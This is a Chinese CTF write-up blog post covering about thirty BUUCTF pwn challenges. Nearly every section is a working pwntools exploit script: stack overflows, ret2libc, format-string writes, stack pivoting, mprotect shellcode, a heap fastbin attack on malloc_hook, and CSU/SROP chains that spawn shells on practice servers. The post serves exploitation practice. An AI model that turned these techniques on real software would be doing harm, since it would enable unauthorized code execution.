BUUCTF-PWN-第一页writep(32题)

时间:2022-10-10 07:15:35

温故而知新,可以为师矣。所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解。还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 exp 了,不懂可以去看其他人的题解,难的题我觉得我写的题解应该是挺详细的。截至到发文日期,只要是涉及 libc 的题目的 exp 都是能打通远程的。如有错误评论欢迎指正。

 

test_your_nc

直接 nc 连接即可得到 shell

 rip

简单的 ret2text ,不过靶机是 ubuntu18 ,要注意用 ret 指令进行栈平衡

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = remote('node4.buuoj.cn', 28520)
#p = process('pwn1')
elf = ELF('pwn1')

#p.recv()
ret = 0x0000000000401016
payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun'])
p.sendline(payload)
p.interactive()

warmup_csaw_2016

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = remote('node4.buuoj.cn', 26284)
#p = process('pwn1')
elf = ELF('pwn1')

p.recv()
payload = b'a'*(0x40+8) + p64(0x40060d)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

BUUCTF-PWN-第一页writep(32题)

  直接通过 IDA 查看 v1 与 v2 的距离,通过溢出覆盖 v2 的值

from pwn import *
p = remote("node4.buuoj.cn",26954)
payload = b'a'*44 + p64(0x41348000) //应该将浮点数转为十六进制
p.send(payload)
p.interactive()

pwn1_sctf_2016

跟着main主函数,发现vuln函数这里有溢出漏洞

 BUUCTF-PWN-第一页writep(32题)

 这里的fgets限制了输入的长度,一看是没有溢出漏洞的,但是下面的replace函数会将输入的 ‘I' 替换成 ’you‘,我们可以根据这个实现溢出漏洞

并且发现了 get_flag 函数的地址
BUUCTF-PWN-第一页writep(32题)

 于是构造exp如下

from pwn import *
connect = 1
if connect:
p = remote("node4.buuoj.cn",29821)
else:
p = process('1')
payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)
p.send(payload)
p.interactive()

 jarvisoj_level0

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = remote('node4.buuoj.cn', 26366)
#p = process('pwn1')
elf = ELF('level0')

p.recv()
payload = b'a'*0x88 + p64(elf.sym['callsystem'])
p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

BUUCTF-PWN-第一页writep(32题)

存在格式化字符串漏洞,只要第二次输入的次和随机值 dword_804c44 相等,即可得到shell
利用 %n 修改dword_804c044 的值
BUUCTF-PWN-第一页writep(32题)
于是构造exp如下
from pwn import *
from LibcSearcher import *
p = process("./pwn")
data_addr = 0x804c044
payload = p32(data_addr) + b"%10$n"
p.recv()
p.sendline(payload)
p.recv()
p.sendline(b'4')
p.interactive()

 也可以利用 pwntools 的 fmtstr_payload 实现

from pwn import *
proc_name = './pwn'
sh = process(proc_name)

unk_804C044 = 0x804C044

payload = fmtstr_payload(10, {unk_804C044: 0x1})
sh.sendline(payload)
sh.sendline(str(0x1))
sh.interactive()

ciscn_2019_c_1

最终在encrypt()函数这找到溢出漏洞
BUUCTF-PWN-第一页writep(32题)

 利用 \x00 进行字符截断,就不会对后面的 payload 进行加密了

之后就是 ret2libc,并且要注意栈平衡

from pwn import *
from LibcSearcher import *
#p = process("./1")
p = remote("node4.buuoj.cn", 28810)
elf = ELF("./1")
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = elf.symbols["main"]

#first : get puts_addr
payload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload1)
p.recvline() #注意这里接受两行
p.recvline()
text = p.recv()
puts_addr = u64(text[:6].ljust(8,b'\x00'))  //实测如果这里不补足8位,u64无法转换

#secode : get libcbase and other fuction addrs
libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump("puts")
#print(libcbase)
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")

#third : get shell
p.sendline(b'1')
p.recv()
payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

 ciscn_2019_n_8

 BUUCTF-PWN-第一页writep(32题)

如图,QWORD 代表代表了两个字节,将var[17]赋值为17即可

from pwn import*

#p = process("./1")
p = remote("node4.buuoj.cn", 29946)
p.recv()
payload = b'a'*13*4 + p64(0x11)
#payload = p32(17)*14
p.sendline(payload)
p.interactive()

jarvisoj_level2

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = remote('node4.buuoj.cn', 27484)
p = process('pwn')
elf = ELF('pwn')

p.recv()
payload = b'a'*140 + p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh\x00')))
p.sendline(payload)
p.interactive()
p.recv()

 bjdctf_2020_babystack

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27053)
elf = ELF('pwn')

p.recv()
payload = b'a'*24 + p64(elf.sym['backdoor'])
p.sendline(b'50')
p.recv()
p.sendline(payload)
p.interactive()

[OGeek2019]babyrop

main
BUUCTF-PWN-第一页writep(32题)
sub_804871F
BUUCTF-PWN-第一页writep(32题)
sub_80487D0
BUUCTF-PWN-第一页writep(32题)
明显的 ret2libc ,搜先要绕过 strncmp 的检测,这里可以用截断符绕过
其次是第二个函数写入的 buf 的字节数要尽可能的大,所以要覆盖 buf[7],注意这里修改为 127 也是不够的,得修改大些
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 28494)
elf = ELF('pwn')

payload = b'\x00' + b'\xff'*7
p.sendline(payload)
p.recv()
payload = b'a'*235 + p32(elf.sym['puts']) + p32(0x8048825) + p32(elf.got['puts'])
p.send(payload)

puts_addr = u32(p.recvuntil(b'\xf7'))
print(hex(puts_addr))

libc = ELF('buu/libc-2.23.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))


payload = b'\x00' + b'\xff'*7
p.sendline(payload)
p.recv()
payload = b'a'*235 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

 get_started_3dsctf_2016

有个坑点,如果没有跳转到exit函数结束的话,程序不能够回显,即flag不会被输出到屏幕上

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 27088)
elf = ELF('1')

exit_addr = elf.symbols['exit']
getflag_addr = elf.symbols['get_flag']

payload = b'a'*56 + p32(getflag_addr) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1)
p.sendline(payload)
print(p.recv())
另外的方法,利用 mprotect 函数写入 shellcode 执行
我们可以通过 mprotect 函数将一段内存设置成可执行内存,来执行shellcode
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
由于要是页的整数倍,所以我们取内存起始地址为 0x080eb000 ,大小为 0x1000,prot为7
找到能 pop 3 的指令
BUUCTF-PWN-第一页writep(32题)

 于是我们构造以下payload

 BUUCTF-PWN-第一页writep(32题)

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 27088)
elf = ELF('1')

pop3_addr = 0x0806fc08
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
buf_addr = 0x080eb000

payload = b'a'*56
payload += p32(mprotect_addr) + p32(pop3_addr) + p32(buf_addr) + p32(0x1000) + p32(0x7)
payload += p32(read_addr) + p32(pop3_addr) + p32(0) + p32(buf_addr) + p32(0x100)
payload += p32(buf_addr)

p.sendline(payload)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

jarvisoj_level2_x64

 64位下的 ret2text

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 28941)
elf = ELF('pwn')

rdi = 0x4006b3
payload = b'a'*0x88 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
p.recv()
p.sendline(payload)
p.interactive()

 [HarekazeCTF2019]baby_rop

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27109)
elf = ELF('pwn')

rdi = 0x400683
payload = b'a'*0x18 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
p.recv()
p.sendline(payload)
p.interactive()

 ciscn_2019_en_2

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 29131)
elf = ELF('pwn')

ret = 0x4006b9
rdi = 0x400c83

p.recv()
p.sendline(b'1')
payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#print(hex(puts_addr))
libc = ELF('buu/libc-2.27-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

p.recv()
p.sendline(b'1')
payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.interactive()

not_the_same_3dsctf_2016

跟前面一道题比较类似

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 28016)
elf = ELF('1')

get_secret_addr = elf.symbols['get_secret']
exit_addr = elf.symbols['exit']
write_addr = elf.symbols['write']
flag_addr = 0x080ECA2D

payload = b'a'*45 + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(0x100)
p.sendline(payload)
print(p.recv())

 ciscn_2019_n_5

裸的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 26628)
elf = ELF('pwn')

ret = 0x00000000004004c9
rdi = 0x0000000000400713

p.sendlineafter(b'tell me your name\n', 'w1nd')
payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'What do you want to say to me?\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.27-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

p.sendlineafter(b'tell me your name\n', 'w1nd')
payload = b'a'*0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What do you want to say to me?\n', payload)

p.interactive()

 others_shellcode

 直接 nc

execve 系统调用
BUUCTF-PWN-第一页writep(32题)

ciscn_2019_ne_5

 BUUCTF-PWN-第一页writep(32题)

这里的 strcpy 函数导致了栈溢出漏洞

 在构造payload的时候,记得system函数地址后的返回地址四个字节不能有一个为零,否则strcpy函数复制的时候遇到 \x00 就不继续复制了

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote("node4.buuoj.cn", 29577)
elf = ELF('1')
system_addr = elf.symbols['system']
sh_addr = next(elf.search(b'sh\x00'))
ret = 0x0804843e

p.sendlineafter('Please input admin password', 'administrator')
p.sendlineafter('0.Exit\n:', '1')

payload = b'a'*(0x48+4) + p32(system_addr) + b'a'*4 + p32(sh_addr) #所以这里写成了 b'a'*4
p.sendlineafter('Please input new log info:', payload)
p.sendlineafter('0.Exit\n:', '4')
p.interactive()

 铁人三项(第五赛区)_2018_rop

 这里用 write 泄露 libc,其它都很寻常的 ret2libc

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 29939)
elf = ELF('pwn')

payload = b'a'*0x8c + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(0x4)
p.sendline(payload)

write_addr = u32(p.recv())
libc = ELF('buu/libc-2.27.so')
libcbase = write_addr - libc.sym['write']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x8c + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

普通的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 26698)
elf = ELF('pwn')

rdi = 0x400733
ret = 0x4004c9

payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'story!\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.23-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'story!\n', payload)
p.interactive()

 bjdctf_2020_babystack2

简单的整数溢出和ret2text
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27408)
elf = ELF('pwn')

p.sendlineafter(b'your name:\n', '-1')
payload = b'a'*0x18 + p64(elf.sym['backdoor'])
p.sendlineafter(b'u name?\n', payload)
p.interactive()

jarvisoj_fm

 格式化字符串漏洞

调试可知是第十一个参数

BUUCTF-PWN-第一页writep(32题)

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p = process('pwn')
#p = remote('node4.buuoj.cn', 26628)
elf = ELF('pwn')

x_addr = 0x804A02C
#payload = fmtstr_payload(11,{x_addr:4})
payload = p32(x_addr) + b'%11$n'
p.sendline(payload)
#print(p.recv())
p.interactive()

pwn2_sctf_2016 

 简单的整数溢出和 ret2libc,但是坑的是

最后调用 system('/bin/sh') 的时候,如果用 p32(0) 会导致打不通

 看汇编代码才发现,原来程序读字符串用的是自定义的 get_n 函数

BUUCTF-PWN-第一页writep(32题)
读到 \x00 它就断了
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 25339)
elf = ELF('pwn')

p.sendlineafter(b'to read?', b'-1')
payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) +  p32(elf.got['printf'])
p.sendlineafter(b'bytes of data!\n', payload)
p.recvline()
p.recvuntil(b'You said: ')
printf_addr = u32(p.recv(4))


libc = ELF('buu/libc-2.23.so')
libcbase = printf_addr - libc.sym['printf']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

p.sendlineafter(b'to read?', b'-1')
payload = b'a'*0x30 + p32(system) + b'a'*4 + p32(binsh) #注意这里
p.sendlineafter(b'bytes of data!\n', payload)
p.interactive()

 ciscn_2019_es_2

main
BUUCTF-PWN-第一页writep(32题)
vul
BUUCTF-PWN-第一页writep(32题)
hack
BUUCTF-PWN-第一页writep(32题)
咋一看是道很简单的栈溢出,不过,只能溢出8个字节,覆盖ebp和ret,而且 hack 不能拿到flag
这是一道 栈转移 的问题,栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
leave=mov esp,ebp pop ebp
ret=pop eip
由于 mov esp,ebp 后,pop ebp,pop eip 后,eip会指向 esp 下一条指令的位置,所以 esp 的位置要填充无用数据, esp 的下一条指令再填充system函数的地址,后面再填充所需的数据
由gdb可知 esp 距离 ebp 的偏移为 0x38

payload 构成如下

 BUUCTF-PWN-第一页writep(32题)

IDA中可以找到很多 leave 指令

 BUUCTF-PWN-第一页writep(32题)

exp如下

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='amd64')

#p = process('./1')
p = remote('node4.buuoj.cn', 28244)
elf = ELF('1')

leave = 0x080484B8
system_addr = elf.symbols['system']

p.send(b'a'*36 + b'stop')
p.recvuntil(b'stop')
ebp = u32(p.recv(4))

payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')
payload += p32(ebp-0x38) + p32(leave)
p.send(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

 64位下的 printf 函数泄露 libc

坑的是如果是泄露 printf@got 是会失败的
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 27227)
elf = ELF('pwn')

rdi = 0x400733
rsi_r15 = 0x400731
ret = 0x4004d1
#%s
str_s = 0x400770 

payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])
p.sendlineafter(b'What\'s your name? ',payload)
p.recvline()
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

libc = ELF('buu/libc-2.23-x64.so')
libcbase = read_addr - libc.sym['read']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00'))

payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What\'s your name? ',payload)
p.interactive()

jarvisoj_tell_me_something

需要 gdb 动态调试 ,或者注意下汇编代码

from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 28205)
elf = ELF('pwn')

rdi = 0x400668
ret = 0x400469

payload = b'a'*0x88 + p64(elf.sym['good_game'])
p.sendlineafter(b'Input your message:\n', payload)
p.recv()
p.recv()

babyheap_0ctf_2017

菜单堆题,保护措施一般全开。。。。
BUUCTF-PWN-第一页writep(32题)
其中,新增堆块的时候可以自定义大小
BUUCTF-PWN-第一页writep(32题)
为堆块写入内容的时候也可以自定义大小写入
BUUCTF-PWN-第一页writep(32题)
那么就可以造成堆溢出,其它的都很寻常
攻击流程:
1.利用 unsortbin 泄露 libcbase
2.劫持 malloc_hook ,修改为 one_gadget
 
首先我们要做的是利用 unsortedbin 只有一个 chunk 时,其 chunk 的 fd 指向 与 main_arena 固定偏移的地方,然后利用 fastbin attack 泄露,获得 libcbase
先申请堆块,堆块0 是为了利用堆溢出修改其它堆块,堆块1 和 堆块2 用来 泄露堆块4 的 fd
allocate(0x10)
allocate(0x10) 
allocate(0x10) 
allocate(0x10) 
allocate(0x80) 
free(1) 
free(2)
free 后可以看到堆块2 的 fd 指向堆块1
BUUCTF-PWN-第一页writep(32题)
BUUCTF-PWN-第一页writep(32题)
接下来是修改堆块2 的 fd,使其指向堆块4
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) 
fill(0,payload)
BUUCTF-PWN-第一页writep(32题)
BUUCTF-PWN-第一页writep(32题)
可以看到堆块4 已经加入了 fastbin
BUUCTF-PWN-第一页writep(32题)
但是 fastbin 不能容纳 0x91 的 chunk ,并且我们重新 allcate 时也要过内存检测,所以继续利用堆溢出修改堆块4的大小
payload = p64(0)*3 + p64(0x21) 
fill(3,payload)
可以看到正常的 free 状态的 堆块4,但是由于部分空间不在堆块的范围内,所以看不到 top chunk
BUUCTF-PWN-第一页writep(32题)
BUUCTF-PWN-第一页writep(32题)
这一步比较关键
之前因为我们 free(1) 和 free(2) ,所以 index1 和 index2 是为空的, fastbin 又是只有堆块2 和堆块4 这两个堆块,那么我们重新 allocate 时,由于 fastbin 采用头插法,所以先进的 chunk 反而后被 allocate ,所以这个时候 index1 -> 堆块2,index2 -> 堆块4 ,值得注意的是 index4 -> 堆块4 ,这样我们才能达到泄露 main_arena 的目的
多 allocate 一个 chunk 是防止我们 free(4) 后堆块4 和 top chunk 合并了
allocate(0x10) 
allocate(0x10) 
payload = p64(0)*3 + p64(0x91) 
fill(3,payload) 
allocate(0x80) 
free(4)
调试结果如下
BUUCTF-PWN-第一页writep(32题)
还有先恢复堆块4 的大小,才能加入 unsortedbin
由于 dump 函数的代码限制,必须 index != 0 ,才能输出内容,所以才需要利用 index4 -> 堆块4 去 free , index2 -> 堆块4 去 dump ,真的太巧妙了!!
调试也可只泄露的 fd 距离 main_arena 的偏移量为 0x58
BUUCTF-PWN-第一页writep(32题)
wiki 中写道, main_arena -0x10 一般是 malloc_hook 的地址
BUUCTF-PWN-第一页writep(32题)
同时把 libc 中的 malloc_hook 的地址也泄露出来
BUUCTF-PWN-第一页writep(32题)
那么我们就得的 libcbase 了,偏移应该是 0x3c4b10 - 0x58 -0x10 = 0x3c4b78
接下来就是把 malloc_hook 修改为 one_gadget,需要用到 fastbin attack
再看此时的堆块的情况
BUUCTF-PWN-第一页writep(32题)
还有一个问题,要怎么找到合适的堆块呢,毕竟 size 的数据要符合 fastbin 的范围
我们知道地址一般都是 0x7f 结尾,并且是小端序,所以我们可以控制 fd 指向的地址为 0x00*7 + 0x7f ,如果算上 0x10 的 prve size 和 size ,那么我们可以申请 0x60 大小的堆块
如图,小端序中 0x7f 的数据很多
BUUCTF-PWN-第一页writep(32题)
我们是可以找到这样的数据的
BUUCTF-PWN-第一页writep(32题)
libc中 malloc_hook 的地址为 0x3c4b10 ,在图一中的地址是 0x7f02debd1b10
图二中我们可以写入的 fd 为 0x7f02debd1aed ,相差 0x23 ,所以我们的 fd 应该为 libcbase + 0x3c4b10-0x23 ==> libcbase + 0x3c4aed
覆写 malloc_hook 的时候,由于不考虑 prve size 和 size 这 0x10 个字节,所以我们只需要填充 0x13 的无用字节
allocate(0x60) 
free(4)
切割成两个堆块,其中一个是 0x60,为 fastbin attack 做铺垫
BUUCTF-PWN-第一页writep(32题)
payload = p64(libcbase + 0x3c4aed) 
fill(2,payload)
修改堆块4 的fd,使其指向 malloc_hook 上面的地方
BUUCTF-PWN-第一页writep(32题)
allocate(0x60) 
allocate(0x60)
再申请两个 0x60 的chunk,这时候我们就可以修改 malloc_hook 了
one_gadget = libcbase + 0x4526a 
payload = b'a'*0x13 + p64(one_gadget) 
fill(6, payload) 
allocate(0x10) #跳转到 one_gadget
成功攻击!!
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64')

p = process('./pwn')
#p = remote('node4.buuoj.cn', 28357)
elf = ELF('./pwn')
libc = ELF('./buu/libc-2.23-x64.so')

def allocate(size):
    p.sendlineafter("Command:", '1')
    p.sendlineafter("Size:", str(size))

def fill(index, content):
    p.sendlineafter("Command:", '2')
    p.sendlineafter("Index:", str(index))
    p.sendlineafter("Size:", str(len(content)))
    p.sendafter("Content:", content)

def free(index):
    p.sendlineafter("Command:", '3')
    p.sendlineafter("Index:", str(index))

def dump(index):
    p.sendlineafter("Command:", '4')
    p.sendlineafter("Index:", str(index))

allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload)

payload = p64(0)*3 + p64(0x21)
fill(3,payload)

allocate(0x10)
allocate(0x10)
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)

dump(2)
p.recv()
main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#libc_malloc_hook = 0x3c4b10
libcbase = main_arena_0x58 - 0x3c4b78
print('libcbase => ',hex(libcbase))


allocate(0x60)
free(4)
payload = p64(libcbase + 0x3c4aed)
fill(2,payload)

allocate(0x60)
allocate(0x60)

one_gadget = libcbase + 0x4526a
payload = b'a'*0x13 + p64(one_gadget)
fill(6, payload)

allocate(0x10)

p.interactive()
总结:堆题太灵活太富有技巧性了,怎么把技巧性的总结为经验是很重要的

jarvisoj_level3

简单的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 29138)
elf = ELF('pwn')

payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4)
p.sendlineafter(b'Input:\n', payload)

write_addr = u32(p.recvuntil(b'\xf7'))
print('write_addr=>',hex(write_addr))

libc = ELF('buu/libc-2.23.so')
libcbase = write_addr - libc.sym['write']
one_gadget = libcbase + 0x3a80c

payload = b'a'*140 + p32(one_gadget)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

ciscn_2019_s_3

可以利用的程序函数很少的一道题
BUUCTF-PWN-第一页writep(32题)
这里可以栈溢出,并且会打印 0x30 个字符,可以通过gdb调试看看
程序在输入后打印的数据如下
BUUCTF-PWN-第一页writep(32题)
gdb调试结果
BUUCTF-PWN-第一页writep(32题)
BUUCTF-PWN-第一页writep(32题)
其中,由于没开启 PIE ,所以 0x400536 没有变化直接被打印出来
因此,如果把 aaaaaaaa 替换成 /bin/sh 时,那么,我们接受到了 0x20 开始的八个字符就是与 /bin/sh 的地址有固定偏移量的地址。偏移量为 0xdf88 - 0xde70 = 0x118 ,所以 /bin/sh 的地址就拿到了
我们的目的是进行 execve 系统调用
$rax==59 
$rdi== binsh_addr
$rsi==0
$rdx==0
syscall
不过 rdx 的指令利用 ROPgadget 找不到
所以就是 CSU_ROP 了
BUUCTF-PWN-第一页writep(32题)
看这两处区域,其中 0x400580 可以帮助我们控制 rdx 寄存器,但是一旦运行到 0x400589 这里,那么就会跳转到 [r12 + 0] ,所以要注意控制 r12 寄存器,并且,cmp 跳转这里的 rbp 寄存器也是需要我们去控制的
需要控制这么多的寄存器,那么就只有下面的 0x40059A 开始的指令合适了
那么二次攻击的 payload 就应该是 像将 rbx rbp r12 r13 r14 r15 放入构造好的值,以便接下来利用 0x400580 指令时程序能够顺利执行 shellcode
接下来要弄清楚我们要应该给 r12 传什么值
首先我们的二次攻击 pyload 应该是这样的
/bin/sh\x00 # binsh_addr
b'a'*8 #填充到 ret
rbx_rbp_r12_r13_r14_r15
rbx => 0
rbp => 1 #避免跳转
r12 =>
r13 => 0
r14 => 0
r15 => 0
r13_rdx # rdx 赋值完毕 开始执行 call cmp 指令
rdi # call 应该跳转到这里,binsh_addr + 0x50
rdi => binsh_addr # rdi 赋值完毕
rsi_r15
rsi => 0 # rsi 赋值完毕
r15 => 0
rax_3b
rax => 3b # rax 赋值完毕
syscall #进行系统调用 getshell
注:每一格的大小为 0x8
有两个坑点,第一个真的特别坑,ubuntu16调试的话, 0x20 后泄露的地址与 /bin/sh 的偏移量是 0x118, ubuntu22 是 0x148,还有如果第一次攻击后跳转到 main 函数的话,偏移量应该要是 0x138 ,只有跳转到 vuln 函数才能是 0x118
第二个是没有汇编指令中 leave ,所以直接覆盖 ret 就行
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'

#p = process('pwn')
p = remote('node4.buuoj.cn', 26376)
elf = ELF('pwn')

rax_3b = 0x4004E2
rdi = 0x4005a3
rsi_r15 = 0x4005a1
rbx_rbp_r12_r13_r14_r15 = 0x40059A
r13_rdx = 0x400580
syscall = 0x400517

payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh))


payload = b'/bin/sh\x00'
payload = payload.ljust(0x10, b'a')
payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3
payload += p64(r13_rdx)
payload += p64(rdi) + p64(binsh)
payload += p64(rsi_r15) + p64(0)*2
payload += p64(rax_3b)
payload += p64(syscall)

p.sendline(payload)

p.interactive()
不懂,为什么偏移要随跳转函数的改变而改变,是因为vuln 调用 main 和 main 调用 vuln 栈中多压入 rbp 和 rip 吗,所以多了 0x20 ,但是我调试的时候貌似 buf 的地址会改变,第二次泄露的地址就是第一次泄露的地址 - 0x118 。而且是在第一次攻击调用 main 函数的情况下。当然这是本地调试的情况,远程就不清楚了
还可以用 SROP 的方法做
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64')

#p = process('pwn')
p = remote('node4.buuoj.cn', 26376)
elf = ELF('pwn')

rax_15 = 0x4004DA
syscall = 0x400517

payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh))

# 设置sigframe关键寄存器
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

print('sigframe.rax:',sigframe.rax)
payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe)

p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

BUUCTF-PWN-第一页writep(32题)
chall函数
BUUCTF-PWN-第一页writep(32题)
如果执行了 vuln 函数,那么就可以触发栈溢出漏洞
BUUCTF-PWN-第一页writep(32题)
首先要使 strcmp(s, "crashme") == 0 ,所以令 payload = 'crashme\x00'
明显这道题是 ret2shellcode
接下来就是本题重点了,调试出偏移地址
0x8048600 是发送栈溢出漏洞这里的汇编指令地址,IDA查看需要的填充无用数据大小是错的,需要动态调试
BUUCTF-PWN-第一页writep(32题)
